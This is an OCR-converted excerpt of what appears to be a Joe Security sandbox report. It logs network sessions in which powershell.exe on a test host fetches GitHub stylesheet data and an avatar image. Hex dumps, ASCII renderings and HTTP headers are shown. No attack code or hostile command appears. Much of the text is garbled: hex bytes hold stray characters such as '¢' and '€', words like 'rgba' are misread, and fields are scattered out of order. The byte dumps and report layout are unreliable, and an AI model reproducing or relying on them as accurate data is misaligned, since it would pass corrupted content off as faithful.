ack: #1b1f24;--color-scale-
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kBytes

Timestamp transferred Direction
2022-04-20 13:07:36 UTC 242 IN
2022-04-20 13:07:36 UTC 244 IN
2022-04-20 13:07:36 UTC 271 IN
2022-04-20 13:07:36 UTC 272 IN
2022-04-20 13:07:36 UTC 273 IN
2022-04-20 13:07:36 UTC 275 IN
2022-04-20 13:07:36 UTC 276 IN
2022-04-20 13:07:36 UTC 277 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 72 2d 73 63 61 6¢ 65 2d 79 65 6c 6¢ 6f 77 2d 36 3a 20 23 37 64 34 65 30 30 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63
61 6¢ 65 2d 79 65 6¢ 6¢ 6f 77 2d 37 3a 20 23 36 33 33 63 30 31 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 79 65 6C 6C
6f 77 2d 38 3a 20 23 34 64 32 64 30 30 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 79 65 6¢ 6¢C 6f 77 2d 39 3a 20 23 33
62 32 33 30 30 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 6f 72 61 6e 67 65 2d 30 3a 20 23 66 66 66 31 65 35 3b 2d 2d
63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 6f 72 61 6e 67 65 2d 31 3a 20 23 66 66 64 38 62 35 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63
61 6¢ 65 2d 6f 72 61 6e 67 65 2d 32 3a 20 23 66 66 62 37 37 63 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 6 72 61 6€
67 65 2d 33 3a 20 23 66 62 38 66 34 34 3b 2d 2d 63 6f 6¢

Data Ascii: r-scale-yellow-6: #7d4e00;--color-scale-yellow-7: #633c01;--color-scale-yellow-8: #4d2d00;--color-scale-yellow-
9: #3b2300;--color-scale-orange-0: #fff1e5;--color-scale-orange-1: #ffd8b5;--color-scale-orange-2: #ffb77c;--color-scale-
orange-3: #fb8f44;--col

Data Raw: 46 30 45 42 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 63 6f 72 61 6¢ 2d 31 3a 20 23 46 46 44 36 43 43 3b
2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 63 6f 72 61 6¢ 2d 32 3a 20 23 46 46 42 34 41 31 3b 2d 2d 63 6f 6¢ 6f 72 2d 73
63 61 6¢ 65 2d 63 6f 72 61 6¢ 2d 33 3a 20 23 46 44 38 43 37 33 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 63 6f 72 61
6¢c 2d 34 3a 20 23 45 43 36 35 34 37 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 63 6f 72 61 6¢ 2d 35 3a 20 23 43 34 34
333242 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 63 6f 72 61 6¢ 2d 36 3a 20 23 39 45 32 46 31 43 3b 2d 2d 63 6f 6¢
6f 72 2d 73 63 61 6¢ 65 2d 63 6f 72 61 6¢ 2d 37 3a 20 23 38 30 31 46 30 46 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d
63 6f 72 61 6¢ 2d 38 3a 20 23 36 39 31 31 30 35 3b 2d 2d

Data Ascii: FOEB;--color-scale-coral-1: #FFD6CC;--color-scale-coral-2: #FFB4A1;--color-scale-coral-3: #FD8C73;--color-sc
ale-coral-4: #EC6547;--color-scale-coral-5: #C4432B;--color-scale-coral-6: #9E2F1C;--color-scale-coral-7: #801FOF;--colo
r-scale-coral-8: #691105;--

Data Raw: 74 79 6¢ 69 67 68 74 73 2d 73 79 6e 74 61 78 2d 63 6f 6e 73 74 61 6e 74 3a 20 23 30 35 35 30 61 65 3b 2d 2d
63 6f 6¢ 6f 72 2d 70 72 65 74 74 79 6¢ 69 67 68 74 73 2d 73 79 6e 74 61 78 2d 65 6e 74 69 74 79 3a 20 23 38 32 35 30
64 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 70 72 65 74 74 79 6¢ 69 67 68 74 73 2d 73 79 6e 74 61 78 2d 73 74 6f 72 61 67 65 2d 6d
6f 64 69 66 69 65 72 2d 69 6d 70 6f 72 74 3a 20 23 32 34 32 39 32 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 70 72 65 74 74 79 6¢ 69
67 6874 73 2d 73 79 6e 74 61 78 2d 65 6e 74 69 74 79 2d 74 61 67 3a 20 23 31 31 36 33 32 39 3b 2d 2d 63 6f 6¢ 6f 72
2d 70 72 65 74 74 79 6¢ 69 67 68 74 73 2d 73 79 6e 74 61 78 2d 6b 65 79 77 6f 72 64 3a 20 23 63 66 32 32 32 65 3b 2d
2d 63 6f 6¢ 6f 72 2d 70 72 65 74 74 79 6¢ 69 67 68 74 73 2d 73 79

Data Ascii: tylights-syntax-constant: #0550ae;--color-prettylights-syntax-entity: #8250df;--color-prettylights-syntax-storage-
modifier-import: #24292f;--color-prettylights-syntax-entity-tag: #116329;--color-prettylights-syntax-keyword: #cf222e;--colo
r-prettylights-sy

Data Raw: 2d 70 72 65 74 74 79 6¢ 69 67 68 74 73 2d 73 79 6e 74 61 78 2d 62 72 61 63 6b 65 74 68 69 67 68 6¢ 69 67
68 74 65 72 2d 61 6e 67 6¢ 65 3a 20 23 35 37 36 30 36 61 3b 2d 2d 63 6f 6¢ 6f 72 2d 70 72 65 74 74 79 6C 69 67 68 74
732d 73 79 6e 74 61 78 2d 73 75 62 6¢ 69 6d 65 6C 69 6€ 74 65 72 2d 67 75 74 74 65 72 2d 6d 61 72 6b 3a 20 23 38 63
39 3539 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 70 72 65 74 74 79 6¢ 69 67 68 74 73 2d 73 79 6e 74 61 78 2d 63 6f 6e 73 74 61 6e
74 2d 6f 74 68 65 72 2d 72 65 66 65 72 65 6e 63 65 2d 6¢ 69 6e 6b 3a 20 23 30 61 33 30 36 39 3b 2d 2d 63 6f 6¢ 6f 72 2d
63 6f 64 65 6d 69 72 72 6f 72 2d 74 65 78 74 3a 20 23 32 34 32 39 32 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 6f 64 65 6d 69 72
72 6f 72 2d 62 67 3a 20 23 66 66 66 66 66 66 3b 2d 2d 63 6f 6¢ 6f

Data Ascii: -prettylights-syntax-brackethighlighter-angle: #57606a;--color-prettylights-syntax-sublimelinter-gutter-mark:
#8c959f;--color-prettylights-syntax-constant-other-reference-link: #0a3069;--color-codemirror-text: #24292f;--color-co
demirror-bg: #ffffff;--colo

Data Raw: 65 65 66 32 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 69 6e 70 75 74 2d 70 6c 61 63 65 68 6f 6¢ 64 65
72 2d 74 65 78 74 3a 20 23 38 63 39 35 39 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 69 6e 70 75 74 2d 66 6f 63
7573 2d 74 65 78 74 3a 20 23 38 63 39 35 39 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 69 6e 70 75 74 2d 62
67 3a 20 23 33 32 33 38 33 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 69 6e 70 75 74 2d 73 68 61 64 6f 77 3a
20 6e 6f 6e 65 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 64 6f 6e 75 74 2d 65 72 72 6f 72 3a 20 23 66 61 34 35 34
39 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 64 6f 6e 75 74 2d 70 65 6€ 64 69 6e 67 3a 20 23 62 66 38 37 30 30 3
b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 64 6f 6e 75 74 2d

Data Ascii: eef2;--color-checks-input-placeholder-text: #8c959f;--color-checks-input-focus-text: #8c959f;--color-checks-
input-bg: #32383f;--color-checks-input-shadow: none;--color-checks-donut-error: #fa4549;--color-checks-donut-pending: #b
f8700;--color-checks-donut-

Data Raw: 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 73 74 65 70 2d 65 72 72 6f 72 2d 74 65 78 74 3a 20 23 66 66 38 31 38 32 3b
2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 73 74 65 70 2d 77 61 72 6e 69 6e 67 2d 74 65 78 74 3a 20 23 64 34 61 37
3263 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 6¢ 6f 67 6¢ 69 6e 65 2d 74 65 78 74 3a 20 23 38 63 39 35 39 66 3b
2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 6¢ 6f 67 6¢ 69 6€ 65 2d 6e 75 6d 2d 74 65 78 74 3a 20 72 67 62 61 28 31
34 30 2c 31 34 39 2¢ 31 35 39 2c¢ 30 2e 37 35 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 6¢ 6f 67 6¢ 69 6€ 65 2d
64 65 62 75 67 2d 74 65 78 74 3a 20 23 63 32 39 37 66 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 6C 6f 67 6C 69
6e 65 2d 65 72 72 6f 72 2d 74 65 78 74 3a 20 23 64 30 64 37 64

Data Ascii: lor-checks-step-error-text: #ff8182;--color-checks-step-warning-text: #d4a72c;--color-checks-logline-text: #
8c959f;--color-checks-logline-num-text: rgha(140,149,159,0.75);--color-checks-logline-debug-text: #c297ff;--color-checks-
logline-error-text: #d0d7d

Data Raw: 6f 75 74 3a 20 72 67 62 61 28 32 35 35 2c 32 35 35 2c¢ 32 35 35 2¢ 30 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 6d 6b 74
67 2d 62 74 6e 2d 62 67 3a 20 23 31 62 31 66 32 33 3b 2d 2d 63 6f 6¢ 6f 72 2d 6d 6b 74 67 2d 62 74 6e 2d 73 68 61 64 6f
77 2d 6f 75 74 6¢ 69 6e 65 3a 20 72 67 62 28 30 20 30 20 30 20 2f 20 31 35 25 29 20 30 20 30 20 30 20 31 70 78 20 69
6e 73 65 74 3b 2d 2d 63 6f 6¢ 6f 72 2d 6d 6b 74 67 2d 62 74 6e 2d 73 68 61 64 6f 77 2d 66 6f 63 75 73 3a 20 72 67 62 28
3020 30 20 30 20 2f 20 31 35 25 29 20 30 20 30 20 30 20 34 70 78 3b 2d 2d 63 6f 6¢ 6f 72 2d 6d 6b 74 67 2d 62 74 6e
2d 73 68 61 64 6f 77 2d 68 6f 76 65 72 3a 20 30 20 33 70 78 20 32 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2¢ 20 3
02e 30 3729 2¢ 20 30 20 37 70 78 20 35 70 78 20 72 67 62 61 28

Data Ascii: out: rgha(255,255,255,0);--color-mktg-btn-bg: #1b1f23;--color-mktg-btn-shadow-outline: rgh(0 0 0 / 15%) 0 0 0
1px inset;--color-mktg-btn-shadow-focus: rgb(0 0 0 / 15%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 3px 2px rgba(0, 0,

0, 0.07), 0 7px 5px rgba(

Data Raw: 32 34 32 39 32 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 6e 73 69 2d 62 6¢ 61 63 6b 2d 62 72 69 67 68 74 3a 20 23 35
3736 30 36 61 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 6e 73 69 2d 77 68 69 74 65 3a 20 23 36 65 37 37 38 31 3b 2d 2d 63 6f 6¢ 6f
722d 61 6e 73 69 2d 77 68 69 74 65 2d 62 72 69 67 68 74 3a 20 23 38 63 39 35 39 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 6e
7369 2d 67 72 61 79 3a 20 23 36 65 37 37 38 31 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 6e 73 69 2d 72 65 64 3a 20 23 63 66 32
323265 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 6e 73 69 2d 72 65 64 2d 62 72 69 67 68 74 3a 20 23 61 34 30 65 32 36 3b 2d 2d 6
3 6f 6¢ 6f 72 2d 61 6e 73 69 2d 67 72 65 65 6e 3a 20 23 31 31 36 33 32 39 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 6e 73 69 2d 67 7
265 65 6e 2d 62 72 69 67 68 74 3a 20 23 31 61 37 66 33 37 3b 2d

Data Ascii: 24292f;--color-ansi-black-bright: #57606a;--color-ansi-white: #6e7781;--color-ansi-white-bright: #8c959f;--color-
ansi-gray: #6e7781;--color-ansi-red: #cf222e;--color-ansi-red-bright: #a40e26;--color-ansi-green: #116329;--color-ansi-
green-bright: #1a7f37;-
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Timestamp

2022-04-20 13:07:36 UTC 283

2022-04-20 13:07:36 UTC 285

2022-04-20 13:07:36 UTC 287

2022-04-20 13:07:36 UTC 288

2022-04-20 13:07:36 UTC 289

2022-04-20 13:07:36 UTC 291

2022-04-20 13:07:36 UTC 293

Session ID Source IP
20 192.168.2.4
Timestamp

Copyright Joe Security LLC 2022

kBytes
transferred

kBytes
transferred

Direction

IN

Source Port

49772

Direction

Data

Data Raw: 72 67 62 61 28 32 37 2¢ 33 31 2c 33 36 2c 30 2e 31 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 70 72 69 6d 61
7279 2d 69 6e 73 65 74 2d 73 68 61 64 6f 77 3a 20 69 6e 73 65 74 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35
2c 32 35 35 2¢ 32 35 35 2¢ 30 2e 30 33 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 70 72 69 6d 61 72 79 2d 68 6f 76 65 72
2d 62 67 3a 20 23 32 63 39 37 34 62 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 70 72 69 6d 61 72 79 2d 68 6f 76 65 72 2d
62 6f 72 64 65 72 3a 20 72 67 62 61 28 32 37 2¢ 33 31 2¢ 33 36 2c 30 2e 31 35 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d
707269 6d 61 72 79 2d 73 65 6¢ 65 63 74 65 64 2d 62 67 3a 20 68 73 6¢ 61 28 31 33 37 2¢ 35 35 25 2¢ 33 36 25 2¢ 31
29 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 70 72 69 6d 61 72 79 2d

Data Ascii: rgha(27,31,36,0.1);--color-btn-primary-inset-shadow: inset 0 1px 0 rgha(255,255,255,0.03);--color-btn-primary-
hover-bg: #2c974b;--color-btn-primary-hover-border: rgha(27,31,36,0.15);--color-btn-primary-selected-bg: hsla(137,55%,
36%,1);--color-btn-primary-

Data Raw: 64 69 73 61 62 6¢ 65 64 2d 62 67 3a 20 23 66 36 66 38 66 61 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 6f 75 74
6¢c 69 6e 65 2d 64 69 73 61 62 6¢ 65 64 2d 63 6f 75 6e 74 65 72 2d 62 67 3a 20 72 67 62 61 28 39 2¢ 31 30 35 2¢ 32 31
38 2c¢ 30 2e 30 35 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 6f 75 74 6¢ 69 6e 65 2d 66 6f 63 75 73 2d 62 6f 72 64 65 72
3a 207267 62 61 28 32 37 2¢ 33 31 2c 33 36 2¢ 30 2e 31 35 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 6f 75 74 6¢ 69 6e
65 2d 66 6f 63 75 73 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 30 20 33 70 78 20 72 67 62 61 28 35 2¢ 38 30 2¢c 31 37 34
2c¢ 30 2e 34 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 6f 75 74 6¢ 69 6e 65 2d 63 6f 75 6e 74 65 72 2d 62 67 3a 20 72 67
62 61 28 39 2c 31 30 35 2¢ 32 31 38 2c 30 2e 31 29 3b 2d 2d 63

Data Ascii: disabled-bg: #f6f8fa;--color-btn-outline-disabled-counter-bg: rgba(9,105,218,0.05);--color-btn-outline-focus-
border: rgha(27,31,36,0.15);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(5,80,174,0.4);--color-btn-outline-counter-bg:
rgbha(9,105,218,0.1);--c

Data Raw: 6f 72 2d 75 6e 64 65 72 6¢ 69 6e 65 6e 61 76 2d 69 63 6f 6e 3a 20 23 36 65 37 37 38 31 3b 2d 2d 63 6f 6¢ 6f
72 2d 75 6e 64 65 72 6c 69 6e 65 6e 61 76 2d 62 6f 72 64 65 72 2d 68 6f 76 65 72 3a 20 72 67 62 61 28 31 37 35 2¢ 31
3834 2c 31 39 33 2c 30 2e 32 29 3b 2d 2d 63 6f 6¢ 6 72 2d 61 63 74 69 6f 6e 2d 6¢ 69 73 74 2d 69 74 65 6d 2d 69 6e 6¢
69 6e 65 2d 64 69 76 69 64 65 72 3a 20 72 67 62 61 28 32 30 38 2c 32 31 35 2¢ 32 32 32 2¢ 30 2e 34 38 29 3b 2d 2d 63
6f 6¢ 6f 72 2d 61 63 74 69 6f 6e 2d 6¢ 69 73 74 2d 69 74 65 6d 2d 64 65 66 61 75 6¢ 74 2d 68 6f 76 65 72 2d 62 67 3a 20
72 67 62 61 28 32 30 38 2c 32 31 35 2¢ 32 32 32 2c¢ 30 2e 33 32 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 63 74 69 6f 6e 2d 6¢ 69
7374 2d 69 74 65 6d 2d 64 65 66 61 75 6¢ 74 2d 68 6f 76 65 72

Data Ascii: or-underlinenav-icon: #6e7781;--color-underlinenav-border-hover: rgba(175,184,193,0.2);--color-action-list-i
tem-inline-divider: rgba(208,215,222,0.48);--color-action-list-item-default-hover-bg: rgha(208,215,222,0.32);--color-action-
list-item-default-hover

Data Raw: 31 2¢ 33 36 2c 30 2e 30 34 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 68 61 64 6f 77 2d 6d 65 64 69 75 6d 3a 20 30 20
3370782036 707820 726762612831 34 30 2¢ 31 34 39 2¢ 31 35 39 2c 30 2e 31 35 29 3b 2d 2d 63 6f 6¢ 6f 72 2d
736861 64 6f 77 2d 6¢ 61 72 67 65 3a 20 30 20 38 70 78 20 32 34 70 78 20 72 67 62 61 28 31 34 30 2c 31 34 39 2¢ 31
3539 2¢ 30 2e 32 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 68 61 64 6f 77 2d 65 78 74 72 61 2d 6¢ 61 72 67 65 3a 20 30 20 31 32
707820 323870 78 20 72 67 62 61 28 31 34 30 2c 31 34 39 2c 31 35 39 2¢ 30 2e 33 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 6e 6
575747261 6¢ 2d 65 6d 70 68 61 73 69 73 2d 70 6¢ 75 73 3a 20 23 32 34 32 39 32 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 6e 65
7574 72 61 6¢ 2d 65 6d 70 68 61 73 69 73 3a 20 23 36 65 37 37 38

Data Ascii: 1,36,0.04);--color-shadow-medium: 0 3px 6px rgba(140,149,159,0.15);--color-shadow-large: 0 8px 24px
rgba(140,149,159,0.2);--color-shadow-extra-large: 0 12px 28px rgba(140,149,159,0.3);--color-neutral-emphasis-plus: #24
292f;--color-neutral-emphasis: #6e778

Data Raw: 39 34 2c 31 35 31 2c 32 35 35 2c 30 2e 34 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 64 6f 6e 65 2d 73 75 62 74 6¢ 65 3a
20 23 66 62 65 66 66 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 70 6f 6e 73 6f 72 73 2d 66 67 3a 20 23 62 66 33 39 38 39 3b 2d 2d
63 6f 6¢ 6f 72 2d 73 70 6f 6e 73 6f 72 73 2d 65 6d 70 68 61 73 69 73 3a 20 23 62 66 33 39 38 39 3b 2d 2d 63 6f 6¢ 6f 72
2d 73 70 6f 6e 73 6f 72 73 2d 6d 75 74 65 64 3a 20 72 67 62 61 28 32 35 35 2¢ 31 32 38 2c 32 30 30 2c 30 2e 34 29 3b
2d 2d 63 6f 6¢ 6f 72 2d 73 70 6f 6e 73 6f 72 73 2d 73 75 62 74 6¢ 65 3a 20 23 66 66 65 66 66 37 3b 2d 2d 63 6f 6¢ 6f 72
2d 7072 69 6d 65 72 2d 66 67 2d 64 69 73 61 62 6¢ 65 64 3a 20 23 38 63 39 35 39 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 70 72
69 6d 65 72 2d 63 61 6e 76 61 73 2d 62 61 63 6b 64 72 6f 70 3a

Data Ascii: 94,151,255,0.4);--color-done-subtle: #fbefff;--color-sponsors-fg: #bf3989;--color-sponsors-emphasis: #bf3989;--
color-sponsors-muted: rgha(255,128,200,0.4);--color-sponsors-subtle: #ffeff7;--color-primer-fg-disabled: #8c959f;--color-
primer-canvas-backdrop:

Data Raw: 65 65 6e 2d 33 3a 20 23 34 61 63 32 36 62 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 67 72 65 65 6e 2d 34
3a20 23 32 64 61 34 34 65 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 67 72 65 65 6e 2d 35 3a 20 23 31 61 37 66 33
37 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 67 72 65 65 6e 2d 36 3a 20 23 31 31 36 33 32 39 3b 2d 2d 63 6f 6¢ 6f 72
2d 7363 61 6¢ 65 2d 67 72 65 65 6e 2d 37 3a 20 23 30 34 34 66 31 65 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 67
72 65 65 6e 2d 38 3a 20 23 30 30 33 64 31 36 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 67 72 65 65 6e 2d 39 3a 20 2
330303264 3131 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 79 65 6¢ 6C 6f 77 2d 30 3a 20 23 66 66 66 38 63 35 3b
2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 79 65 6C 6C 6f 77 2d 31

Data Ascii: een-3: #4ac26b;--color-scale-green-4: #2dad4e;--color-scale-green-5: #1a7f37;--color-scale-green-6: #116329;
--color-scale-green-7: #044fle;--color-scale-green-8: #003d16;--color-scale-green-9: #002d11;--color-scale-yellow-0: #ff
f8c5;--color-scale-yellow-1

Data Raw: 20 23 35 31 32 61 39 37 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 70 75 72 70 6¢ 65 2d 38 3a 20 23 33 65
3166 37 39 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 70 75 72 70 6¢ 65 2d 39 3a 20 23 32 65 31 34 36 31 3b 2d 2d
63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 70 69 6€ 6b 2d 30 3a 20 23 66 66 65 66 66 37 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6C
65 2d 70 69 6e 6b 2d 31 3a 20 23 66 66 64 33 65 62 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 70 69 6e 6b 2d 32 3a
20 23 66 66 61 64 64 61 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 70 69 6e 6b 2d 33 3a 20 23 66 66 38 30 63 38 3b 2
d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 70 69 6€ 6b 2d 34 3a 20 23 65 38 35 61 61 64 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 6
1 6¢c 65 2d 70 69 6e 6b 2d 35 3a 20 23 62 66 33 39 38 39 3b 2d 2d

Data Ascii: #512a97;--color-scale-purple-8: #3e1f79;--color-scale-purple-9: #2e1461;--color-scale-pink-0: #ffeff7;--color-
scale-pink-1: #ffd3eb;--color-scale-pink-2: #ffadda;--color-scale-pink-3: #{f80c8;--color-scale-pink-4: #e85aad;--color-
scale-pink-5: #bf3989;--

I Destination
Destination IP Process
Port

185.199.108.133 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Data
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kByt:
Timestamp yies

2022-04-20 13:07:37 UTC 1119

2022-04-20 13:07:37 UTC 1119

2022-04-20 13:07:37 UTC 1120

2022-04-20 13:07:37 UTC 1122

2022-04-20 13:07:37 UTC 1123

Session ID Source IP

21 192.168.2.4
. kBytes

Timestamp transferred

2022-04-20 13:07:37 UTC 1119

Copyright Joe Security LLC 2022

transferred

Direction

ouT

Source Port

49775

Direction

ouT

Data

GET /gatsbyjs?s=64&v=4 HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: avatars.githubusercontent.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 3411

Cache-Control: max-age=300

Content-Security-Policy: default-src 'none’

Content-Type: image/png

ETag: "f838cab65726cec6a3d05c2f148fbb80ea2873318f0b3209884d6db73e401fc7"
Last-Modified: Fri, 20 Jul 2018 23:31:26 GMT
Strict-Transport-Security: max-age=31557600
timing-allow-origin: https://github.com
X-Content-Type-Options: nosniff

X-Frame-Options: deny

X-XSS-Protection: 1; mode=block

X-GitHub-Request-ld: E1DC:2259:29FF73:2BCE0C:6254D054
Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:37 GMT

Via: 1.1 varnish

X-Served-By: cache-mxp6960-MXP

X-Cache: HIT

X-Cache-Hits: 5

X-Timer: S1650460057.085429,VS0,VEQ
Access-Control-Allow-Origin: *

X-Fastly-Request-ID: 1b08e1d06a59d29c52ca2168f7333dc7219037de
Expires: Wed, 20 Apr 2022 13:12:37 GMT

Source-Age: 734532

Vary: Authorization,Accept-Encoding

Data Raw: 89 50 4e 47 0d Oa 1a Oa 00 00 00 Od 49 48 44 52 00 00 00 40 00 00 00 40 08 06 00 00 00 aa 69 71 de 00 00
0d 1a 49 44 41 54 78 9c e4 5b 09 50 53 d7 1a fe 6f f6 a0 10 76 30 2c 89 c8 8e a0 6¢ a2 d5 aa 58 10 c5 85 5a fb 7c f3 5e
ad 56 ed 54 5b db 6a db 69 fb 3a b6 ae ed 9b a7 6d ed e2 f6 ec a2 d5 b6 53 5f dd 17 16 77 a9 58 41 56 51 40 91 48 50
20 ec 59 04 b2 e7 be b9 bl 49 73 b9 7 66 81 a4 d6 e9 37 c3 70 ef b9 e7 9c fc ff 7f fe ff 3f ff 39 e7 3f Oc 14 45 el af Oc da
a3 26 e0 51 83 61 7a 98 34 69 12 34 37 37 3b fd 07 10 84 06 3c 76 40 84 df b0 dO 24 2f Oe 3f ce 83 ed 1b c6 65 7a 04 b0
e8 6e de 4c 1a 9b 85 55 d1 1a d4 1a ad 5e d9 d3 a7 95 b7 3d 50 77 dd 95 aa 24 75 5d fd f7 2a 64 aa b6 7a 14 35 38 5d
45838383 al a8 a8 e8 21 7d 26 13 10 Oa 85 d0 d4 d4 e4 94

Data Ascii: PNGIHDR@@iqIDATX[PSovO0,IXZ|"VTIji:mS_wXAVQ@HP YIsf7p?9?E&Qaz4i477;<v@%$/?eznLU =Pw$u]*dz5
8]E!}&

Data Raw: c1 f2 30 64 e4 ef ad b2 8b 79 13 c2 bd d3 16 62 b3 9b 65 19 4e 00 02 5e 7c 36 d5 4e Oe b6 a0 c1 24 6e 89 a3
db af b9 c4 el b9 0a 6¢ 86 9b 4f 28 2f 7e 96 65 19 4e 00 al bc 84 b9 54 8d 27 cf 8f c1 bd b7 88 7a e0 6a ee 1d e7 53 e9
6284 79 25 cd b7 7c b7 10 00 02 c1 1e b1 59 64 8d 7c 83 dc 21 32 89 8f 2b cb fd ba 1c 5¢ b0 61 eb 72 04 7b c4 cd 44 10
9a 99 6f f3 83 27 27 20 9c cb 74 27 dd bd 4d 9c 36 12 f7 ae 55 eb €0 46 d1 7d d7 52 ea 22 b0 19 6e de 3e dc a0 58 d3 bb
59 00 be 6e al 94 91 44 cc b8 20 dc 3b 93 cd 80 97 3f 9d Oe 2c 8e 4b 7 3f 5d 06 5f 37 81 99 57 b3 00 bc b9 fc 38 aa 06
79 df 56 18 d7 €3 96 88 4d Ob 86 57 3f 9f f1 58 Oa c1 8b 33 c2 cc ab 59 00 ee 2c bf 91 54 0d 1a aa da 61 fb ea 7c dO a8
fO 7b 75 51 29 7c a3 26 30 58 8f d7 09 9b 3b db d7 cc ab

Data Ascii: 0dybeN|6N$nlO(/~eNT'zjSby%|Yd|!2-1\ar{Do" tMBUF}R"n>XYND ;?,K?]_7W8yVMW?X3Y, Ta|{uQ)|&0X;

Data Raw: 14 b7 e8 71 7c c2 02 Oa 8c 09 11 1a ca a4 2b b5 52 6b 3c 12 a7 Oa ce 4c a8 90 e4 ad 2b 6b 3d be 71 60 b9 5d
2932 26 54 b6 e5 7d 5¢ df 75 f5 1b aa ef 98 39 1c dd 7e 0d b6 ae 38 69 4c 6a a4 42 f4 b8 20 d2 79 9f ca 1c a8 98 af af
90 c0 47 Ob 8f d8 64 5e d4 53 f6 43 59 eb 89 4d 56 2b d9 9b 27 88 00 8d 9e 15 be f2 50 28 6f b4 d5 44 49 4c 6d 33 9e 8b
87 ac 45 63 08 49 14 96 Oc 6¢ 7b 3d 9f 10 55 86 8f 0d 20 ec 27 58 42 d6 d1 07 47 b6 95 40 49 be ed Oc f9 fb 2 9a 82 d3
